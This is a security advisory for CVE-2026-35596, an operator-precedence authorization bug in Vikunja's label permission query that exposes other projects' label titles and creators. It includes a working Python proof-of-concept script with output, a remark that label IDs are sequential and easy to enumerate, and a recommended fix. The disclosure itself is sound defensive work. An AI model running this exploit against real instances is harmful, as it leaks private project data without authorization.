PT-2026-31947 · Go+1 · Code.Vikunja.Io/Api+1

Published

2026-04-10

·

Updated

2026-04-10

·

CVE-2026-35596

CVSS v3.1

4.3

Medium

AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Summary

The hasAccessToLabel function contains a SQL operator precedence bug that allows any authenticated user to read any label that has at least one task association, regardless of project access. Label titles, descriptions, colors, and creator information are exposed.

Details

The access control query at pkg/models/label permissions.go:85-91 uses xorm's query chain in a way that produces SQL without proper grouping:
has, err = s.Table("labels").
  Select("label tasks.*").
  Join("LEFT", "label tasks", "label tasks.label id = labels.id").
  Where("label tasks.label id is not null OR labels.created by id = ?", createdByID).
  Or(cond).
  And("labels.id = ?", l.ID).
  Exist(ll)
The xorm chain .Where(A OR B).Or(C).And(D) generates SQL: WHERE A OR B OR C AND D. Because SQL AND has higher precedence than OR, this evaluates as WHERE A OR B OR (C AND D). The labels.id = ? constraint (D) only binds to the project access condition (C), while label tasks.label id IS NOT NULL (part of A) remains unconstrained.
Any label that has at least one task association passes the IS NOT NULL check, regardless of who is requesting it.

Proof of Concept

Tested on Vikunja v2.2.2.
import requests

TARGET = "http://localhost:3456"
API = f"{TARGET}/api/v1"

def login(u, p):
  return requests.post(f"{API}/login", json={"username": u, "password": p}).json()["token"]

def h(token):
  return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}

a token = login("labeler", "Labeler123!")
b token = login("snooper", "Snooper123!")

# labeler creates private project, label, task, and assigns label
proj = requests.put(f"{API}/projects", headers=h(a token),
          json={"title": "Private Project"}).json()
label = requests.put(f"{API}/labels", headers=h(a token),
           json={"title": "CONFIDENTIAL-REVENUE", "hex color": "ff0000"}).json()
task = requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h(a token),
          json={"title": "Q4 revenue data"}).json()
requests.put(f"{API}/tasks/{task['id']}/labels", headers=h(a token),
       json={"label id": label["id"]})

# snooper reads the label from labeler's private project
r = requests.get(f"{API}/labels/{label['id']}", headers=h(b token))
print(f"GET /labels/{label['id']}: {r.status code}") # 200 - should be 403
if r.status code == 200:
  data = r.json()
  print(f"Title: {data['title']}") # CONFIDENTIAL-REVENUE
  print(f"Creator: {data['created by']['username']}") # labeler
Output:
GET /labels/1: 200
Title: CONFIDENTIAL-REVENUE
Creator: labeler
Label IDs are sequential integers, making enumeration straightforward.

Impact

Any authenticated user can read label metadata (titles, descriptions, colors) and creator user information from any project in the instance, provided the labels are attached to at least one task. This constitutes cross-project information disclosure. The creator's username and display name are also exposed.

Recommended Fix

Use explicit builder.And/builder.Or grouping:
has, err = s.Table("labels").
  Select("label tasks.*").
  Join("LEFT", "label tasks", "label tasks.label id = labels.id").
  Where(builder.And(
    builder.Eq{"labels.id": l.ID},
    builder.Or(
      builder.And(builder.Expr("label tasks.label id is not null"), cond),
      builder.Eq{"labels.created by id": createdByID},
    ),
  )).
  Exist(ll)
Found and reported by aisafe.io

Fix

Incorrect Authorization

Weakness Enumeration

CWE-863

Related Identifiers

CVE-2026-35596
GHSA-HJ5C-MHH2-G7JQ

Affected Products

Code.Vikunja.Io/Api
Vikunja